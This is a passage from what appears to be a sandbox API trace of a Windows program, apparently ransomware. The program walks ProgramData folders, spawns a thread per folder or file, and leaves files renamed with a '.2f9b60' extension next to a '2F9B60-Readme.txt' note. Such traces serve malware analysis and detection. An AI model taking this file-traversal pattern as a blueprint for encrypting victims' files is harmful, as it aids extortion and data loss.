_Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.227] wcscat (in: _Dest=0x1cd972b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.227] wcscat (in: _Dest=0x1cd972b0, _Source="OFFICE" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OFFICE") returned="C:\\Users\\All Users\\Microsoft\\OFFICE" [0097.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd972b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1238 [0097.228] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0097.228] wcscmp (_String1="OfficeSoftwareProtectionPlatform", _String2=".") returned 1 [0097.228] wcscmp (_String1="OfficeSoftwareProtectionPlatform", _String2="..") returned 1 [0097.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a52b0 [0097.228] wcscpy (in: _Dest=0x202a52b0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.228] wcscat (in: _Dest=0x202a52b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.228] wcscat (in: _Dest=0x202a52b0, _Source="OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform" [0097.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202a52b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x123c [0097.229] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1 [0097.229] wcscmp (_String1="RAC", _String2=".") returned 1 [0097.229] wcscmp (_String1="RAC", _String2="..") returned 1 [0097.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97120 [0097.229] wcscpy (in: _Dest=0x1cd97120, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.229] wcscat (in: _Dest=0x1cd97120, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.229] wcscat (in: _Dest=0x1cd97120, _Source="RAC" | out: _Dest="C:\\Users\\All Users\\Microsoft\\RAC") returned="C:\\Users\\All Users\\Microsoft\\RAC" [0097.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd97120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1240 [0097.230] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0097.230] wcscmp (_String1="Search", _String2=".") returned 1 [0097.230] wcscmp (_String1="Search", _String2="..") returned 1 [0097.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1cd97710 [0097.230] wcscpy (in: _Dest=0x1cd97710, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.230] wcscat (in: _Dest=0x1cd97710, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.230] wcscat (in: _Dest=0x1cd97710, _Source="Search" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search") returned="C:\\Users\\All Users\\Microsoft\\Search" [0097.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd97710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1244 [0097.231] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1 [0097.231] wcscmp (_String1="User Account Pictures", _String2=".") returned 1 [0097.231] wcscmp (_String1="User Account Pictures", _String2="..") returned 1 [0097.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7c1d40 [0097.231] wcscpy (in: _Dest=0x1b7c1d40, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.231] wcscat (in: _Dest=0x1b7c1d40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.231] wcscat (in: _Dest=0x1b7c1d40, _Source="User Account Pictures" | out: _Dest="C:\\Users\\All Users\\Microsoft\\User Account Pictures") returned="C:\\Users\\All Users\\Microsoft\\User Account Pictures" [0097.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1d40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1248 [0097.232] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0097.232] wcscmp (_String1="Vault", _String2=".") returned 1 [0097.232] wcscmp (_String1="Vault", _String2="..") returned 1 [0097.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd976c0 [0097.232] wcscpy (in: _Dest=0x1cd976c0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.232] wcscat (in: _Dest=0x1cd976c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.232] wcscat (in: _Dest=0x1cd976c0, _Source="Vault" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Vault") returned="C:\\Users\\All Users\\Microsoft\\Vault" [0097.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd976c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124c [0097.233] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0097.233] wcscmp (_String1="VISIO", _String2=".") returned 1 [0097.233] wcscmp (_String1="VISIO", _String2="..") returned 1 [0097.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1cd97670 [0097.233] wcscpy (in: _Dest=0x1cd97670, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.233] wcscat (in: _Dest=0x1cd97670, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.233] wcscat (in: _Dest=0x1cd97670, _Source="VISIO" | out: _Dest="C:\\Users\\All Users\\Microsoft\\VISIO") returned="C:\\Users\\All Users\\Microsoft\\VISIO" [0097.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd97670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1250 [0097.234] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0097.234] wcscmp (_String1="Windows", _String2=".") returned 1 [0097.234] wcscmp (_String1="Windows", _String2="..") returned 1 [0097.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858910 [0097.234] wcscpy (in: _Dest=0x1b858910, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.234] wcscat (in: _Dest=0x1b858910, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.234] wcscat (in: _Dest=0x1b858910, _Source="Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Windows" [0097.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858910, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1254 [0097.235] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe473c430, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xe473c430, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0097.235] wcscmp (_String1="Windows Defender", _String2=".") returned 1 [0097.235] wcscmp (_String1="Windows Defender", _String2="..") returned 1 [0097.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5c) returned 0x1b7c1b80 [0097.235] wcscpy (in: _Dest=0x1b7c1b80, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.235] wcscat (in: _Dest=0x1b7c1b80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.235] wcscat (in: _Dest=0x1b7c1b80, _Source="Windows Defender" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender" [0097.235] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 [0097.235] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0097.235] wcscmp (_String1="Windows NT", _String2=".") returned 1 [0097.236] wcscmp (_String1="Windows NT", _String2="..") returned 1 [0097.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b8588b0 [0097.236] wcscpy (in: _Dest=0x1b8588b0, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.236] wcscat (in: _Dest=0x1b8588b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.236] wcscat (in: _Dest=0x1b8588b0, _Source="Windows NT" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT" [0097.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8588b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1258 [0097.237] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0097.237] wcscmp (_String1="WwanSvc", _String2=".") returned 1 [0097.237] wcscmp (_String1="WwanSvc", _String2="..") returned 1 [0097.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86130 [0097.237] wcscpy (in: _Dest=0x1cd86130, _Source="C:\\Users\\All Users\\Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0097.237] wcscat (in: _Dest=0x1cd86130, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\") returned="C:\\Users\\All Users\\Microsoft\\" [0097.237] wcscat (in: _Dest=0x1cd86130, _Source="WwanSvc" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc" [0097.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd86130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x125c [0097.238] FindNextFileW (in: hFindFile=0x1b858bb0, lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0 [0097.238] FindClose (in: hFindFile=0x1b858bb0 | out: hFindFile=0x1b858bb0) returned 1 [0097.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f580) returned 1 [0097.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0097.238] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3a0) returned 1 Thread: id = 280 os_tid = 0xd90 [0087.950] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82bf40 [0087.951] wcscpy (in: _Dest=0x1b82bf40, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0087.951] wcscat (in: _Dest=0x1b82bf40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0087.951] wcscat (in: _Dest=0x1b82bf40, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\*") returned="C:\\Users\\All Users\\Microsoft Help\\*" [0087.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f7f0 [0087.951] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft Help\\*", lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xea601010, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xea601010, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9cb50 [0087.951] wcscmp (_String1=".", _String2=".") returned 0 [0087.951] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xea601010, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xea601010, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.951] wcscmp (_String1="..", _String2=".") returned 1 [0087.951] wcscmp (_String1="..", _String2="..") returned 0 [0087.951] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1beeb370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1beeb370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bf5d790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="09fe20fdab5e0369175e9bb4.2f9b60", cAlternateFileName="09FE20~1.2F9")) returned 1 [0087.951] wcscmp (_String1="09fe20fdab5e0369175e9bb4.2f9b60", _String2=".") returned 1 [0087.951] wcscmp (_String1="09fe20fdab5e0369175e9bb4.2f9b60", _String2="..") returned 1 [0087.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b85c8d0 [0087.951] wcscpy (in: _Dest=0x1b85c8d0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0087.952] wcscat (in: _Dest=0x1b85c8d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0087.952] wcscat (in: _Dest=0x1b85c8d0, _Source="09fe20fdab5e0369175e9bb4.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\09fe20fdab5e0369175e9bb4.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\09fe20fdab5e0369175e9bb4.2f9b60" [0097.841] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85c8d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd38 [0097.842] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfa755d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa755d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa7a2030, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="21233f5aa24f8be0c8837829.2f9b60", cAlternateFileName="21233F~1.2F9")) returned 1 [0097.842] wcscmp (_String1="21233f5aa24f8be0c8837829.2f9b60", _String2=".") returned 1 [0097.842] wcscmp (_String1="21233f5aa24f8be0c8837829.2f9b60", _String2="..") returned 1 [0097.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x1b86bdc0 [0097.842] wcscpy (in: _Dest=0x1b86bdc0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.842] wcscat (in: _Dest=0x1b86bdc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.843] wcscat (in: _Dest=0x1b86bdc0, _Source="21233f5aa24f8be0c8837829.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\21233f5aa24f8be0c8837829.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\21233f5aa24f8be0c8837829.2f9b60" [0097.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86bdc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0097.843] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x896b9210, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x896b9210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x0, dwReserved1=0x0, cFileName="271d86.2f9b60", cAlternateFileName="271D86~1.2F9")) returned 1 [0097.843] wcscmp (_String1="271d86.2f9b60", _String2=".") returned 1 [0097.843] wcscmp (_String1="271d86.2f9b60", _String2="..") returned 1 [0097.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b785ef0 [0097.843] wcscpy (in: _Dest=0x1b785ef0, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.843] wcscat (in: _Dest=0x1b785ef0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.843] wcscat (in: _Dest=0x1b785ef0, _Source="271d86.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\271d86.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\271d86.2f9b60" [0097.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b785ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0 [0097.844] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x0, cFileName="2eaa6f704be5f3701db678.2f9b60", cAlternateFileName="2EAA6F~1.2F9")) returned 1 [0097.844] wcscmp (_String1="2eaa6f704be5f3701db678.2f9b60", _String2=".") returned 1 [0097.844] wcscmp (_String1="2eaa6f704be5f3701db678.2f9b60", _String2="..") returned 1 [0097.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x1b86be50 [0097.844] wcscpy (in: _Dest=0x1b86be50, _Source="C:\\Users\\All Users\\Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0097.844] wcscat (in: _Dest=0x1b86be50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\") returned="C:\\Users\\All Users\\Microsoft Help\\" [0097.844] wcscat (in: _Dest=0x1b86be50, _Source="2eaa6f704be5f3701db678.2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft Help\\2eaa6f704be5f3701db678.2f9b60") returned="C:\\Users\\All Users\\Microsoft Help\\2eaa6f704be5f3701db678.2f9b60" [0097.844] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86be50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x910 [0097.845] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9c7b810, ftCreationTime.dwHighDateTime=0x1d699a5, ftLastAccessTime.dwLowDateTime=0xe9c7b810, ftLastAccessTime.dwHighDateTime=0x1d699a5, ftLastWriteTime.dwLowDateTime=0xe9ca1970, ftLastWriteTime.dwHighDateTime=0x1d699a5, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="2F9B60-Readme.txt", cAlternateFileName="2F9B60~1.TXT")) returned 1 [0097.845] wcscmp (_String1="2F9B60-Readme.txt", _String2=".") returned 1 [0097.845] wcscmp (_String1="2F9B60-Readme.txt", _String2="..") returned 1 [0097.845] FindNextFileW (in: hFindFile=0x1cd9cb50, lpFindFileData=0x1ce1f7f0 | out: lpFindFileData=0x1ce1f7f0*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xfd789af0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd789af0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd822070, 